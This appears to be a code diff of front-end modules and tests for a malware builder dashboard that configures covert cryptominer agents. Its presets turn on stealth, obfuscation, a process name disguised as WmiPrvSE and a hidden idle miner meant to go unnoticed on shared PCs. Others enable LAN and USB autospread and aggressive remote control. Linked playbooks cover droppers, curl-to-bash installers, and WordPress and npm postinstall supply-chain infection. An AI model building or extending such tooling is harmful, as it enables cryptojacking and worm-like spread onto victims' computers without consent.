campaign,
serverBase,
fusionPrepFile,
api,
onStep,
cancelToken,
} = opts;
onStep?.('configure');
const configured = applyMissionPresets(form, operationMode, spreadProfile);
onStep?.('forge');
const build = await api.buildAgent(
{ ...configured, cancel_token: cancelToken },
fusionPrepFile,
);
if (!build.success) {
throw new Error(build.error || 'Build failed');
}
const buildId = build.build_id?.trim();
if (!buildId) {
throw new Error('Build succeeded but no build_id returned');
}
const exportSkipped = !configured.spread_kit;
if (!exportSkipped) {
onStep?.('export');
await api.exportSpreadKit({
build_id: buildId,
server_url: serverBase,
campaign,
});
}
onStep?.('copy');
const links = buildMissionLinks(serverBase, buildId, campaign);
onStep?.('done');
return { build, links, exportSkipped };
}

View File

@@ -0,0 +1,57 @@
import { describe, it, expect } from 'vitest';
import {
MISSION_WIZARD_STEPS,
MISSION_OPERATION_CHIPS,
canAdvanceWizardStep,
missionChipForMode,
nextWizardStep,
operationModeForChip,
prevWizardStep,
wizardPillStatus,
wizardStepIndex,
} from './forgeMissionWizard';
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
});
it('reverse-maps operation modes to wizard chips', () => {
expect(missionChipForMode('ghost_walk')).toBe('ghost');
expect(missionChipForMode('sigil_mask')).toBe('ghost');
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
});
it('navigates wizard steps forward and back', () => {
expect(nextWizardStep('mode')).toBe('profile');
expect(nextWizardStep('profile')).toBe('launch');
expect(nextWizardStep('launch')).toBeNull();
expect(prevWizardStep('launch')).toBe('profile');
expect(prevWizardStep('profile')).toBe('mode');
expect(prevWizardStep('mode')).toBeNull();
});
it('allows advancing from mode and profile steps', () => {
expect(canAdvanceWizardStep('mode', 'ghost', '')).toBe(true);
expect(canAdvanceWizardStep('profile', 'spread', '')).toBe(true);
expect(canAdvanceWizardStep('profile', 'spread', 'lan_kindling')).toBe(true);
expect(canAdvanceWizardStep('launch', 'ghost', '')).toBe(false);
});
it('tracks wizard pill status for step pills', () => {
expect(wizardPillStatus('mode', 'mode')).toBe('active');
expect(wizardPillStatus('mode', 'profile')).toBe('done');
expect(wizardPillStatus('profile', 'mode')).toBe('pending');
expect(wizardPillStatus('launch', 'launch')).toBe('active');
expect(wizardStepIndex('launch')).toBe(2);
});
});

View File

@@ -0,0 +1,92 @@
import type { OperationModeId } from './forgeOperationModes';
import type { SpreadProfileId } from './spreadProfiles';
export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];
export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
mode: 'Mode',
profile: 'Profile',
launch: 'Launch',
};
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
export interface MissionOperationChipDef {
id: MissionOperationChip;
label: string;
color: string;
modeId: OperationModeId;
blurb: string;
}
export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
{
id: 'ghost',
label: 'Ghost',
color: '#6b8cff',
modeId: 'ghost_walk',
blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
},
{
id: 'loud',
label: 'Loud',
color: '#ff5c5c',
modeId: 'open_flame',
blurb: 'Visible console, logging on — lab testing and debugging',
},
{
id: 'spread',
label: 'Spread',
color: '#ff8c3a',
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';
}
export function wizardStepIndex(step: MissionWizardStep): number {
return MISSION_WIZARD_STEPS.indexOf(step);
}
export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
const idx = wizardStepIndex(step);
if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
return MISSION_WIZARD_STEPS[idx + 1];
}
export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
const idx = wizardStepIndex(step);
if (idx <= 0) return null;
return MISSION_WIZARD_STEPS[idx - 1];
}
export function canAdvanceWizardStep(
step: MissionWizardStep,
chip: MissionOperationChip,
_spreadProfile: SpreadProfileId | '',
): boolean {
if (step === 'mode') return !!chip;
if (step === 'profile') return true;
return false;
}
export function wizardPillStatus(
pill: MissionWizardStep,
current: MissionWizardStep,
): 'pending' | 'active' | 'done' {
const pillIdx = wizardStepIndex(pill);
const curIdx = wizardStepIndex(current);
if (pillIdx < curIdx) return 'done';
if (pillIdx === curIdx) return 'active';
return 'pending';
}

View File

@@ -0,0 +1,113 @@
import { describe, it, expect } from 'vitest';
import {
OPERATION_MODES,
DEFAULT_OPERATION_MODE,
applyOperationMode,
isOperationModeId,
resolveForgeSkin,
skinForOperationMode,
} from './forgeOperationModes';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.1:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'test',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
stealth_mode: false,
display_mode: 'visible',
file_logging: true,
obfuscate: false,
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes six colored aether-themed presets', () => {
expect(OPERATION_MODES).toHaveLength(6);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
'Sigil Mask',
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
});
it('maps each operation mode to a forge skin', () => {
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
'ghost',
'aether',
'halloween',
'aether',
'wildfire',
'crucible',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
});
it('resolves skin from operation mode unless theme override is set', () => {
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
});
it('validates stored mode ids', () => {
expect(isOperationModeId('ghost_walk')).toBe(true);
expect(isOperationModeId('bogus')).toBe(false);
});
it('applies Ghost Walk stealth + garble defaults', () => {
const next = applyOperationMode(baseForm(), 'ghost_walk');
expect(next.stealth_mode).toBe(true);
expect(next.display_mode).toBe('background');
expect(next.file_logging).toBe(false);
expect(next.obfuscate).toBe(true);
expect(next.fusion_enabled).toBe(false);
});
it('applies Open Flame visible testing profile', () => {
const next = applyOperationMode(baseForm(), 'open_flame');
expect(next.stealth_mode).toBe(false);
expect(next.display_mode).toBe('visible');
expect(next.file_logging).toBe(true);
expect(next.obfuscate).toBe(false);
});
it('applies Sigil Mask obfuscation + disguised process', () => {
const next = applyOperationMode(baseForm(), 'sigil_mask');
expect(next.obfuscate).toBe(true);
expect(next.sigil_scramble).toBe(true);
expect(next.process_name).toBe('WmiPrvSE');
expect(next.fusion_enabled).toBe(false);
});
it('applies Hearth Whisper idle low-footprint caps', () => {
const next = applyOperationMode(baseForm(), 'hearth_whisper');
expect(next.mining_mode).toBe('idle');
expect(next.max_cpu_usage_pct).toBe(45);
expect(next.thread_percent).toBe(50);
expect(next.stealth_mode).toBe(true);
});
it('applies Wildfire spread-ready flags', () => {
const next = applyOperationMode(baseForm(), 'wildfire');
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.usb_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('applies Crucible Storm aggressive remote ops', () => {
const next = applyOperationMode(baseForm(), 'crucible_storm');
expect(next.remote_aggressive).toBe(true);
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
});

View File

@@ -0,0 +1,217 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
export type OperationModeId =
| 'ghost_walk'
| 'open_flame'
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
| 'crucible_storm';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
export type ForgeThemeOverride = ForgeSkinId | 'auto';
export interface OperationMode {
id: OperationModeId;
label: string;
color: string;
skin: ForgeSkinId;
blurb: string;
apply: (form: BuildRequest) => BuildRequest;
}
export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode';
export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme';
export const FORGE_THEME_EVENT = 'aetherforge-forge-theme';
export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk';
export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible'];
export function isForgeSkinId(value: string): value is ForgeSkinId {
return FORGE_SKIN_IDS.includes(value as ForgeSkinId);
}
export function forgeSkinClassName(skin: ForgeSkinId): string {
return `forge-skin--${skin}`;
}
export function skinForOperationMode(id: OperationModeId): ForgeSkinId {
const mode = OPERATION_MODES.find((m) => m.id === id);
return mode?.skin ?? 'aether';
}
export const OPERATION_MODES: OperationMode[] = [
{
id: 'ghost_walk',
label: 'Ghost Walk',
color: '#4d7fff',
skin: 'ghost',
blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint',
apply: (f) => ({
...f,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
obfuscate: true,
sigil_scramble: true,
fusion_enabled: false,
spread_kit: false,
remote_aggressive: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
hole_punch: false,
}),
},
{
id: 'open_flame',
label: 'Open Flame',
color: '#ff5c5c',
skin: 'aether',
blurb: 'Visible console, logging on, no garble — for lab testing and debugging',
apply: (f) => ({
...f,
stealth_mode: false,
display_mode: 'visible',
silent_mode: false,
file_logging: true,
obfuscate: false,
sigil_scramble: false,
}),
},
{
id: 'sigil_mask',
label: 'Sigil Mask',
color: '#b794f6',
skin: 'halloween',
blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation',
apply: (f) => ({
...f,
obfuscate: true,
sigil_scramble: true,
process_name: 'WmiPrvSE',
fusion_enabled: false,
spread_kit: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
}),
},
{
id: 'hearth_whisper',
label: 'Hearth Whisper',
color: '#4ade80',
skin: 'aether',
blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs',
apply: (f) => ({
...f,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
mining_mode: 'idle',
idle_threshold_pct: 25,
max_cpu_usage_pct: 45,
thread_mode: 'percent',
thread_percent: 50,
fusion_enabled: false,
remote_aggressive: false,
}),
},
{
id: 'wildfire',
label: 'Wildfire',
color: '#ff8c3a',
skin: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet',
apply: (f) => ({
...f,
spread_kit: true,
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
auto_spread: true,
usb_spread: true,
share_spread: true,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
}),
},
{
id: 'crucible_storm',
label: 'Crucible Storm',
color: '#d4af37',
skin: 'crucible',
blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions',
apply: (f) => ({
...f,
remote_aggressive: true,
hole_punch: true,
mesh_p2p: true,
}),
},
];
export function isOperationModeId(value: string): value is OperationModeId {
return OPERATION_MODES.some((m) => m.id === value);
}
export function loadStoredOperationMode(): OperationModeId {
try {
const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY);
if (v && isOperationModeId(v)) return v;
} catch {
/* ignore */
}
return DEFAULT_OPERATION_MODE;
}
export function storeOperationMode(id: OperationModeId): void {
try {
localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id);
} catch {
/* ignore */
}
}
export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest {
const mode = OPERATION_MODES.find((m) => m.id === id);
return mode ? normalizeForgeForm(mode.apply(form)) : form;
}
export function loadStoredForgeTheme(): ForgeThemeOverride {
try {
const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY);
if (v === 'auto') return 'auto';
if (v && isForgeSkinId(v)) return v;
} catch {
/* ignore */
}
return 'auto';
}
export function storeForgeTheme(theme: ForgeThemeOverride): void {
try {
localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme);
window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT));
} catch {
/* ignore */
}
}
export function resolveForgeSkin(
operationModeId: OperationModeId,
themeOverride?: ForgeThemeOverride
): ForgeSkinId {
const override = themeOverride ?? loadStoredForgeTheme();
if (override !== 'auto') return override;
return skinForOperationMode(operationModeId);
}

View File

@@ -0,0 +1,45 @@
import { describe, it, expect } from 'vitest';
import { resolvePageWeather, PAGE_WEATHER, DEFAULT_PAGE_WEATHER } from './pageWeather';
describe('pageWeather', () => {
it('resolves forge and mission deck to full glow', () => {
expect(resolvePageWeather('/forge').vibe).toBe('forge-glow');
expect(resolvePageWeather('/forge').intensity).toBe(1);
expect(resolvePageWeather('/mission-deck').vibe).toBe('forge-glow');
});
it('resolves crucible to slower embers', () => {
const w = resolvePageWeather('/crucible');
expect(w.vibe).toBe('crucible-embers');
expect(w.speed).toBeLessThan(0.5);
expect(w.palette).toBe('crucible');
});
it('resolves emberwake with campaign pulse', () => {
const w = resolvePageWeather('/emberwake');
expect(w.vibe).toBe('emberwake-pulse');
expect(w.energyPulse).toBe(true);
expect(w.palette).toBe('campaign');
});
it('resolves settings to dim starfield', () => {
const w = resolvePageWeather('/settings');
expect(w.vibe).toBe('starfield-dim');
expect(w.intensity).toBeLessThan(0.3);
expect(w.palette).toBe('dim');
});
it('resolves fleet and dashboard to medium drift', () => {
expect(resolvePageWeather('/agents').vibe).toBe('medium-drift');
expect(resolvePageWeather('/dashboard').vibe).toBe('medium-drift');
});
it('strips trailing slash and query', () => {
expect(resolvePageWeather('/crucible/')).toEqual(PAGE_WEATHER['/crucible']);
expect(resolvePageWeather('/dashboard?tab=fleet')).toEqual(PAGE_WEATHER['/dashboard']);
});
it('falls back to default for unknown routes', () => {
expect(resolvePageWeather('/unknown')).toEqual(DEFAULT_PAGE_WEATHER);
});
});

View File

@@ -0,0 +1,228 @@
/** Route → ambient 3D weather (particle glow, drift, palette). Mirrors ambientMusic page map. */
export type WeatherVibe =
| 'forge-glow'
| 'crucible-embers'
| 'emberwake-pulse'
| 'starfield-dim'
| 'medium-drift';
export type WeatherPalette = 'default' | 'crucible' | 'campaign' | 'dim';
export interface PageWeatherConfig {
vibe: WeatherVibe;
/** 01 overall particle glow strength */
intensity: number;
/** Velocity multiplier */
speed: number;
/** Pulse / twinkle rate multiplier */
pulse: number;
/** Particle density multiplier */
density: number;
/** Constellation link strength 01 */
linkStrength: number;
/** CSS grid / sacred-geo layer opacity */
layerOpacity: number;
/** Orb float animation duration (seconds; higher = slower) */
orbDrift: number;
/** Grid drift animation duration (seconds) */
gridDrift: number;
palette: WeatherPalette;
/** Campaign-energy sine pulse on emberwake routes */
energyPulse?: boolean;
}
export const DEFAULT_PAGE_WEATHER: PageWeatherConfig = {
vibe: 'medium-drift',
intensity: 0.65,
speed: 0.5,
pulse: 0.65,
density: 0.72,
linkStrength: 0.7,
layerOpacity: 0.55,
orbDrift: 14,
gridDrift: 48,
palette: 'default',
};
/** Route → weather profile. Prefix match for nested paths. */
export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
'/forge': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1,
density: 1,
linkStrength: 1,
layerOpacity: 0.6,
orbDrift: 12,
gridDrift: 40,
palette: 'default',
},
'/builder': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1,
density: 1,
linkStrength: 1,
layerOpacity: 0.6,
orbDrift: 12,
gridDrift: 40,
palette: 'default',
},
'/mission-deck': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1.05,
density: 1,
linkStrength: 1,
layerOpacity: 0.62,
orbDrift: 11,
gridDrift: 38,
palette: 'default',
},
'/crucible': {
vibe: 'crucible-embers',
intensity: 0.75,
speed: 0.32,
pulse: 0.45,
density: 0.85,
linkStrength: 0.45,
layerOpacity: 0.5,
orbDrift: 22,
gridDrift: 72,
palette: 'crucible',
},
'/emberwake': {
vibe: 'emberwake-pulse',
intensity: 0.85,
speed: 0.55,
pulse: 1.6,
density: 0.9,
linkStrength: 0.75,
layerOpacity: 0.58,
orbDrift: 9,
gridDrift: 36,
palette: 'campaign',
energyPulse: true,
},
'/spread': {
vibe: 'emberwake-pulse',
intensity: 0.85,
speed: 0.55,
pulse: 1.6,
density: 0.9,
linkStrength: 0.75,
layerOpacity: 0.58,
orbDrift: 9,
gridDrift: 36,
palette: 'campaign',
energyPulse: true,
},
'/settings': {
vibe: 'starfield-dim',
intensity: 0.22,
speed: 0.15,
pulse: 0.35,
density: 0.45,
linkStrength: 0.12,
layerOpacity: 0.28,
orbDrift: 36,
gridDrift: 120,
palette: 'dim',
},
'/agents': {
vibe: 'medium-drift',
intensity: 0.68,
speed: 0.55,
pulse: 0.7,
density: 0.75,
linkStrength: 0.72,
layerOpacity: 0.52,
orbDrift: 15,
gridDrift: 50,
palette: 'default',
},
'/dashboard': {
vibe: 'medium-drift',
intensity: 0.65,
speed: 0.5,
pulse: 0.65,
density: 0.72,
linkStrength: 0.7,
layerOpacity: 0.55,
orbDrift: 14,
gridDrift: 48,
palette: 'default',
},
'/builds': {
vibe: 'medium-drift',
intensity: 0.55,
speed: 0.45,
pulse: 0.6,
density: 0.65,
linkStrength: 0.6,
layerOpacity: 0.48,
orbDrift: 16,
gridDrift: 54,
palette: 'default',
},
'/pathtracer': {
vibe: 'starfield-dim',
intensity: 0.35,
speed: 0.25,
pulse: 0.4,
density: 0.5,
linkStrength: 0.2,
layerOpacity: 0.32,
orbDrift: 28,
gridDrift: 90,
palette: 'dim',
},
};
export function resolvePageWeather(pathname: string): PageWeatherConfig {
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
if (PAGE_WEATHER[path] !== undefined) {
return PAGE_WEATHER[path];
}
for (const [prefix, weather] of Object.entries(PAGE_WEATHER)) {
if (prefix !== '/' && path.startsWith(prefix)) return weather;
}
return DEFAULT_PAGE_WEATHER;
}
export type GlowColor = {
core: string;
mid: string;
line: string;
};
export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
default: [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
],
crucible: [
{ core: 'rgba(212, 175, 55, 0.9)', mid: 'rgba(212, 175, 55, 0.28)', line: 'rgba(212, 175, 55, 0.14)' },
{ core: 'rgba(232, 93, 74, 0.78)', mid: 'rgba(232, 93, 74, 0.22)', line: 'rgba(232, 93, 74, 0.1)' },
{ core: 'rgba(255, 140, 58, 0.82)', mid: 'rgba(255, 140, 58, 0.24)', line: 'rgba(255, 140, 58, 0.11)' },
{ core: 'rgba(180, 90, 40, 0.72)', mid: 'rgba(180, 90, 40, 0.2)', line: 'rgba(180, 90, 40, 0.09)' },
],
campaign: [
{ core: 'rgba(255, 95, 25, 0.92)', mid: 'rgba(255, 95, 25, 0.3)', line: 'rgba(255, 95, 25, 0.14)' },
{ core: 'rgba(255, 176, 32, 0.85)', mid: 'rgba(255, 176, 32, 0.26)', line: 'rgba(255, 176, 32, 0.12)' },
{ core: 'rgba(255, 55, 90, 0.7)', mid: 'rgba(255, 55, 90, 0.2)', line: 'rgba(255, 55, 90, 0.09)' },
{ core: 'rgba(0, 220, 255, 0.55)', mid: 'rgba(0, 220, 255, 0.16)', line: 'rgba(0, 220, 255, 0.08)' },
],
dim: [
{ core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' },
{ core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' },
{ core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' },
{ core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' },
],
};

View File

@@ -0,0 +1,14 @@
import { describe, expect, it } from 'vitest';
import { presenceActivityLine, presencePageLabel } from './presencePages';
describe('presencePages', () => {
it('maps known routes to war-room labels', () => {
expect(presencePageLabel('/crucible')).toBe('Crucible');
expect(presencePageLabel('/emberwake')).toBe('Emberwake');
expect(presencePageLabel('forge')).toBe('Forge');
});
it('formats activity line for status bar', () => {
expect(presenceActivityLine('india', '/crucible')).toBe('india is in Crucible');
});
});

View File

@@ -0,0 +1,23 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record<string, string> = {
'/dashboard': 'Command Deck',
'/agents': 'Fleet Roster',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',
'/mission-deck': 'Mission Deck',
'/builds': 'Builds',
'/emberwake': 'Emberwake',
'/spread': 'Emberwake',
'/settings': 'Calibrate',
'/pathtracer': 'Path Tracer',
};
export function presencePageLabel(path: string): string {
const normalized = path.startsWith('/') ? path : `/${path}`;
return PAGE_LABELS[normalized] ?? (normalized.replace(/^\//, '') || 'Dashboard');
}
export function presenceActivityLine(user: string, page: string): string {
return `${user} is in ${presencePageLabel(page)}`;
}

View File

@@ -0,0 +1,39 @@
import { describe, it, expect } from 'vitest';
import { SPREAD_PROFILES, applySpreadProfile } from './spreadProfiles';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.1:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'test',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
}) as BuildRequest;
describe('spreadProfiles', () => {
it('exposes four colored presets', () => {
expect(SPREAD_PROFILES).toHaveLength(4);
expect(SPREAD_PROFILES.map((p) => p.label)).toEqual([
'Web Drop',
'Desktop Fusion',
'LAN Kindling',
'Crucible Ops',
]);
SPREAD_PROFILES.forEach((p) => expect(p.color).toMatch(/^#/));
});
it('applies LAN Kindling spread kit flags', () => {
const next = applySpreadProfile(baseForm(), 'lan_kindling');
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('applies Crucible Ops aggressive remote', () => {
const next = applySpreadProfile(baseForm(), 'crucible_ops');
expect(next.remote_aggressive).toBe(true);
expect(next.hole_punch).toBe(true);
});
});

View File

@@ -0,0 +1,29 @@
import { describe, it, expect } from 'vitest';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from './spreadTechniques';
describe('spreadTechniques', () => {
it('builds doc URLs with optional anchors', () => {
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
);
});
it('maps Emberwake bullets to playbook sections', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
});
it('links wiki-only techniques to /docs/', () => {
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
'/docs/#wordpress-plugin-supply-chain',
);
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
'/docs/#npm-postinstall-helper',
);
});
});

View File

@@ -0,0 +1,61 @@
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
export interface EmberwakeTechniqueLink {
/** Short label shown in Emberwake UI */
label: string;
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
anchor: string;
/** One-line operator hint */
hint: string;
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
wiki?: boolean;
}
/** Maps Emberwake “how to spread” bullets to playbook sections. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'Web waterhole',
anchor: 'owned-site-you-control-origin',
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
},
{
label: 'curl | bash VPS',
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
hint: 'install.sh / install.ps1 one-liners on headless servers',
},
{
label: 'Fusion media',
anchor: 'owned-site-you-control-origin',
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
},
{
label: 'LAN kindling',
anchor: 'five-recommended-plays--sites-you-own',
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
},
{
label: 'A/B droppers',
anchor: 'social-engineering-funnel-email--ads--site--file',
hint: 'Campaign ?c= tags + pin build A vs B between waves',
},
{
label: 'WordPress plugin',
anchor: 'wordpress-plugin-supply-chain',
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
wiki: true,
},
{
label: 'npm postinstall',
anchor: 'npm-postinstall-helper',
hint: 'Private package template — postinstall curls your install.sh',
wiki: true,
},
];
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
if (wiki && anchor) return `/docs/#${anchor}`;
if (!anchor) return SPREAD_TECHNIQUES_DOC;
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
}

View File

@@ -0,0 +1,82 @@
import { describe, expect, it } from 'vitest';
import {
deploymentReelActiveIndex,
deploymentReelSteps,
deploymentReelStepStatus,
deploymentReelTotalDurationMs,
deploymentReelUploadWikiUrl,
deploymentReelVisibleCount,
emberwakeWarRoomUrl,
npmInstallShUrl,
npmPackageName,
sanitizeExportSlug,
supplyChainZipFilename,
wpCampaignSlug,
wpDownloadUrl,
} from './supplyChainExport';
describe('supplyChainExport', () => {
it('sanitizeExportSlug matches server rules', () => {
expect(sanitizeExportSlug('My Blog')).toBe('my-blog');
expect(sanitizeExportSlug('')).toBe('site');
expect(sanitizeExportSlug('---')).toBe('site');
});
it('builds WordPress campaign and download URL', () => {
expect(wpCampaignSlug('My Blog')).toBe('wp-my-blog');
expect(wpDownloadUrl('https://deck.example:8989', 'My Blog', 'build-abc')).toBe(
'https://deck.example:8989/get?c=wp-my-blog&pin=build-abc',
);
});
it('builds npm package name and install.sh URL', () => {
expect(npmPackageName('ci-bootstrap')).toBe('@aetherforge/ci-bootstrap-helper');
expect(npmInstallShUrl('https://deck.example', 'ci-bootstrap', 'pin-1')).toBe(
'https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap',
);
});
it('names zip files', () => {
expect(supplyChainZipFilename('wordpress', 'my-blog')).toBe('my-blog-wordpress-plugin.zip');
expect(supplyChainZipFilename('npm', 'ci-bootstrap')).toBe('ci-bootstrap-npm-helper.zip');
});
});
describe('deploymentReel helpers', () => {
it('builds three reel steps with wiki upload and war room links', () => {
const wp = deploymentReelSteps('wordpress');
expect(wp).toHaveLength(3);
expect(wp[0].label).toBe('Download ZIP');
expect(wp[1].href).toBe(deploymentReelUploadWikiUrl('wordpress'));
expect(wp[2].href).toBe(emberwakeWarRoomUrl());
const npm = deploymentReelSteps('npm');
expect(npm[1].href).toContain('#npm-hosting-checklist');
expect(emberwakeWarRoomUrl()).toBe('/emberwake#campaign-war-room');
});
it('reveals checkmarks sequentially by elapsed time', () => {
expect(deploymentReelVisibleCount(0)).toBe(0);
expect(deploymentReelVisibleCount(399)).toBe(0);
expect(deploymentReelVisibleCount(400)).toBe(1);
expect(deploymentReelVisibleCount(1299)).toBe(1);
expect(deploymentReelVisibleCount(1300)).toBe(2);
expect(deploymentReelVisibleCount(2200)).toBe(3);
expect(deploymentReelVisibleCount(9999)).toBe(3);
});
it('maps visible count to step status', () => {
expect(deploymentReelStepStatus(0, 0)).toBe('active');
expect(deploymentReelStepStatus(1, 0)).toBe('pending');
expect(deploymentReelStepStatus(0, 1)).toBe('done');
expect(deploymentReelStepStatus(1, 1)).toBe('active');
expect(deploymentReelStepStatus(2, 3)).toBe('done');
});
it('tracks active index and total duration', () => {
expect(deploymentReelActiveIndex(0)).toBe(0);
expect(deploymentReelActiveIndex(2)).toBe(2);
expect(deploymentReelActiveIndex(3)).toBe(-1);
expect(deploymentReelTotalDurationMs()).toBe(400 + 3 * 900);
});
});

View File

@@ -0,0 +1,234 @@
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
import { spreadTechniqueDocUrl } from './spreadTechniques';
